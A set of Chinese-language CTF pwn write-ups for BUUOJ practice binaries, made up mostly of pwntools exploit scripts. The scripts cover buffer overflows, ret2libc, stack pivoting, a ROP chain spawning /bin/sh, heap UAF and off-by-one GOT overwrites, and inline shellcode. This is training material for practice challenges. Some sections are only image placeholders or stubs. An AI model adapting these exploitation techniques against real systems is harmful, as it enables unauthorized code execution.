mrctf2020_easyoverflow

fake_flag 是 n0t_r3@11y_f1@g

image.png

程序 gets 到的是 v4(rbp-0x70),然后对比的 v5 是在 rbp-0x40,输入 0x30 个字符之后再输入就是与 fake flag 对比的了

image.png

  1. from pwn import *
  2. p=process('./mrctf2020_easyoverflow')
  3. #p=remote('node3.buuoj.cn',26974)
  4. payload='a'*0x30+'n0t_r3@11y_f1@g'
  5. p.sendline(payload)
  6. p.interactive()

jarvisoj_level5

  1. #!/usr/bin/env python
  2. from pwn import *
  3. from LibcSearcher import *
  4. context(os='linux',arch='amd64',log_level='debug')
  5. #p = remote('node3.buuoj.cn',28116)
  6. p=process('./pwn')
  7. elf = ELF('./pwn')
  8. payload = 'a'*0x80 + 'a'*0x8
  9. rdi_add = 0x4006b3
  10. rsir15_add = 0x4006b1
  11. write_plt = elf.plt['write']
  12. write_got = elf.got['write']
  13. vul_add = elf.symbols['vulnerable_function']
  14. payload1 = payload + p64(rdi_add) + p64(0x1) + p64(rsir15_add) + p64(write_got) + 'deadbeef' + p64(write_plt) + p64(vul_add)
  15. p.recvuntil("Input:\n")
  16. p.sendline(payload1)
  17. write_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
  18. libc=LibcSearcher('write',write_addr)
  19. libc_base=write_addr-libc.dump('write')
  20. sys_add = libc_base + libc.dump('system')
  21. binsh_add =libc_base+libc.dump('str_bin_sh')
  22. payload2 = payload + p64(rdi_add) + p64(binsh_add) + p64(sys_add)
  23. p.recvuntil("Input:\n")
  24. p.sendline(payload2)
  25. p.interactive()

gyctf_2020_some_thing_exceting

去申请的时候会先申请 0x10 大小的 chunk 来存放用户申请的 chunk 的指针,free 的时候没有置为 NULL,存在 UAF
在一开始的时候会把 flag 读到 0x6020A8 这里,只要能 show 这个地址的内容就行

image.png

一开始申请两个与 0x10 不一样大的,然后 free 掉,再去申请 0x10 大小的时候就会申请到那个存储指针的那里,修改指针为 bss 段放 flag 的地址

  1. #!/usr/bin/env python
  2. from pwn import *
  3. p=process("./pwn")
  4. def create(size1,content1,size2,content2):
  5. p.sendlineafter("want to do :","1")
  6. p.sendlineafter("length : ",str(size1))
  7. p.sendlineafter("ba : ",content1)
  8. p.sendlineafter("length : ",str(size2))
  9. p.sendlineafter("na : ",content2)
  10. def delete(index):
  11. p.sendlineafter("want to do :","3")
  12. p.sendlineafter("Banana ID : ",str(index))
  13. def show(index):
  14. p.sendlineafter("what you want to do :","4")
  15. p.sendlineafter("SCP project ID : ",str(index))
  16. create(0x30,"yichen",0x20,"writeup")
  17. create(0x30,"yichen",0x20,"writeup")
  18. gdb.attach(p)
  19. pause()
  20. flag_addr=0x6020A8
  21. delete(0)
  22. delete(1)
  23. create(0x10,p64(flag_addr),0x10,p64(flag_addr))
  24. show(0)
  25. p.interactive()

image.png

actf_2019_babystack

只能栈溢出 0x10 大小的,栈迁移
给出了写到的地址,一开始通过栈迁移执行 puts 函数来拿到函数的地址,从而获得 libc 的地址
然后再一次栈迁移执行 system 函数

  1. # coding=utf-8
  2. from pwn import *
  3. from LibcSearcher import LibcSearcher
  4. p = process("./pwn")
  5. #p=remote("node3.buuoj.cn",27254)
  6. elf = ELF("./pwn")
  7. puts_got = elf.got["puts"]
  8. puts_plt = elf.plt["puts"]
  9. main_addr = 0x04008F6
  10. leave_ret = 0x400A4E
  11. pop_rdi = 0x0400ad3
  12. ret = 0x400709
  13. p.sendlineafter(">","224")
  14. p.recvuntil("0x")
  15. address = int(p.recv(12),16)
  16. payload1 = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
  17. payload1=payload1.ljust(0xd0,'a')
  18. payload1 += p64(address-8) + p64(leave_ret)
  19. p.send(payload1)
  20. puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,"\x00"))
  21. libc = LibcSearcher("puts",puts_addr)
  22. libcbase = puts_addr - libc.dump("puts")
  23. sys_addr = libcbase + libc.dump("system")
  24. bin_sh = libcbase + libc.dump("str_bin_sh")
  25. p.sendlineafter(">","224")
  26. p.recvuntil("0x")
  27. address = int(p.recv(12),16)
  28. payload2 = p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)
  29. payload2 = payload2.ljust(0xd0,'a')
  30. payload2 += p64(address-8) + p64(leave_ret)
  31. p.send(payload2)
  32. p.interactive()

[-]axb_2019_brop64

如果不是 brop 的话只是一道经典的 ret2libc

测试出缓冲区大小

  1. from pwn import*
  2. context.log_level='debug'
  3. def getsize():
  4. i = 200
  5. while 1:
  6. try:
  7. p = remote('node3.buuoj.cn',25413)
  8. p.recvuntil("Please tell me:")
  9. p.send(i*'a')
  10. sleep(0.1)
  11. data = p.recv()
  12. p.close()
  13. if "Goodbye" not in data:
  14. return i-1
  15. else:
  16. i+=1
  17. except EOFError:
  18. p.close()
  19. return i-1
  20. size = getsize()
  21. print "size is [%s]"%size

cmcc_pwnme2

返回到 gets 函数,往 strings 那里写入 flag 的路径然后用 exec_string() 给读出来

  1. # coding=utf-8
  2. from pwn import *
  3. from LibcSearcher import LibcSearcher
  4. context.log_level = "debug"
  5. #p = process("./pwnme2")
  6. p=remote("node3.buuoj.cn",27892)
  7. elf = ELF("./pwnme2")
  8. gets_plt=elf.plt['gets']
  9. pop_rdi=0x0400963
  10. exec_string=0x80485CB
  11. string=0x804A060
  12. payload='a'*0x6c+'a'*4+p32(gets_plt)+p32(exec_string)+p32(string)
  13. p.sendlineafter("input:\n",payload)
  14. p.sendline('./flag')
  15. p.interactive()

picoctf_2018_can_you_gets_me

静态链接的程序,直接 rop chain
ROPgadget —binary pwn —ropchain

  1. # coding=utf-8
  2. from pwn import *
  3. context.log_level = "debug"
  4. from struct import pack
  5. #sh = process("./pwn")
  6. sh = remote("node3.buuoj.cn",27195)
  7. # Padding goes here
  8. p = 'a'*28
  9. p += pack('<I', 0x0806f02a) # pop edx ; ret
  10. p += pack('<I', 0x080ea060) # @ .data
  11. p += pack('<I', 0x080b81c6) # pop eax ; ret
  12. p += '/bin'
  13. p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
  14. p += pack('<I', 0x0806f02a) # pop edx ; ret
  15. p += pack('<I', 0x080ea064) # @ .data + 4
  16. p += pack('<I', 0x080b81c6) # pop eax ; ret
  17. p += '//sh'
  18. p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
  19. p += pack('<I', 0x0806f02a) # pop edx ; ret
  20. p += pack('<I', 0x080ea068) # @ .data + 8
  21. p += pack('<I', 0x08049303) # xor eax, eax ; ret
  22. p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
  23. p += pack('<I', 0x080481c9) # pop ebx ; ret
  24. p += pack('<I', 0x080ea060) # @ .data
  25. p += pack('<I', 0x080de955) # pop ecx ; ret
  26. p += pack('<I', 0x080ea068) # @ .data + 8
  27. p += pack('<I', 0x0806f02a) # pop edx ; ret
  28. p += pack('<I', 0x080ea068) # @ .data + 8
  29. p += pack('<I', 0x08049303) # xor eax, eax ; ret
  30. p += pack('<I', 0x0807a86f) # inc eax ; ret
  31. p += pack('<I', 0x0807a86f) # inc eax ; ret
  32. p += pack('<I', 0x0807a86f) # inc eax ; ret
  33. p += pack('<I', 0x0807a86f) # inc eax ; ret
  34. p += pack('<I', 0x0807a86f) # inc eax ; ret
  35. p += pack('<I', 0x0807a86f) # inc eax ; ret
  36. p += pack('<I', 0x0807a86f) # inc eax ; ret
  37. p += pack('<I', 0x0807a86f) # inc eax ; ret
  38. p += pack('<I', 0x0807a86f) # inc eax ; ret
  39. p += pack('<I', 0x0807a86f) # inc eax ; ret
  40. p += pack('<I', 0x0807a86f) # inc eax ; ret
  41. p += pack('<I', 0x0806cc25) # int 0x80
  42. sh.sendlineafter("GIVE ME YOUR NAME!\n",p)
  43. sh.interactive()

hitcontraining_unlink

语雀内容

picoctf_2018_got_shell

有个后门,0x804854B,程序可以把 4 字节的内容写到一个地址上,把 puts 的 got 表写入后门的地址就行了

  1. from pwn import *
  2. p = remote('node3.buuoj.cn',25055)
  3. elf = ELF("./pwn")
  4. libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
  5. puts_got=elf.got['puts']
  6. puts_plt=elf.plt['puts']
  7. win_addr=0x804854B
  8. p.sendlineafter("byte value?",hex(puts_got))
  9. p.recvuntil("write to")
  10. p.sendlineafter("\n",hex(win_addr))
  11. p.interactive()

npuctf_2020_easyheap

只能申请 26 跟 56 大小的 chunk,在一开始会申请 0x10 大小的 chunk,用来存放用户申请的 size 与指针

image.png

edit 的时候有一个 off by one,free 的时候存在 UAF

image.png

image.png

首先申请两个 0x20 的,因为还有存放用户申请的 size 与 指针的两个 0x20 大小程序自己申请的 chunk,现在一共是 4 个 0x20 大小的 chunk

image.png

现在编辑第 0 个(index 从 0 开始)通过 off by one 把 0x603290 也就是记录 index1 的那个 chunk 的 size 改为 0x41,然后把第一个 delete 掉,这样就有了一个 0x20 大小和一个 0x40 大小的 free chunk

接下来再去 create 一个 0x40 大小的,因为有个 0x20大小的 free chunk,所以会被用来放 size 与指针,但是他包含在我们申请的 0x20 中的,可以编辑掉,如果编辑为 atoi 的 got 表项就可以通过 show 来,以此得到 libc 的地址然后计算 system 的地址,然后再次编辑 system 函数直接输入 ‘/bin/sh\x00’ 就直接拿到 shell

  1. from pwn import *
  2. p=process('./pwn')
  3. elf=ELF('./pwn')
  4. libc=ELF('./libc.so.6')
  5. #p=remote('node3.buuoj.cn',25010)
  6. context.log_level='debug'
  7. def create(size,content):
  8. p.sendlineafter("choice :",'1')
  9. p.sendlineafter("(0x10 or 0x20 only) : ",str(size))
  10. p.sendlineafter("Content:",content)
  11. def edit(index,content):
  12. p.sendlineafter("choice :","2")
  13. p.sendlineafter("Index :",str(index))
  14. p.sendlineafter("Content: ",content)
  15. def show(index):
  16. p.sendlineafter("choice :",'3')
  17. p.sendlineafter("Index :",str(index))
  18. def delete(index):
  19. p.sendlineafter("choice :","4")
  20. p.sendlineafter("Index :",str(index))
  21. create(24,'yichen')
  22. create(24,'writeup')
  23. edit(0,'a'*0x18+'\x41')
  24. delete(1)
  25. create(56,'a'*0x18+p64(0x21)+p64(0x8)+p64(elf.got['atoi']))
  26. show(1)
  27. p.recvuntil("Content : ")
  28. atoi_addr = u64(p.recvuntil('\x7f').ljust(8, '\x00'))
  29. libc_base = atoi_addr - libc.symbols['atoi']
  30. sys_addr = libc_base + libc.symbols['system']
  31. edit(1,p64(sys_addr))
  32. p.sendlineafter('Your choice :','/bin/sh\x00')
  33. p.interactive()

ciscn_2019_s_9

存在栈溢出
hint 函数中 jmp esp 的地址 0x8048554
如果 shellcode 直接放后面会不够大

  1. from pwn import *
  2. p = process('./pwn')
  3. jmpesp = 0x8048554
  4. shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
  5. shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
  6. shellcode += "\x0b\xcd\x80"
  7. payload = shellcode+(36-len(shellcode))*'a'+p32(jmpesp)
  8. payload += asm('sub esp,40;jmp esp')
  9. p.sendline(payload)
  10. p.interactive()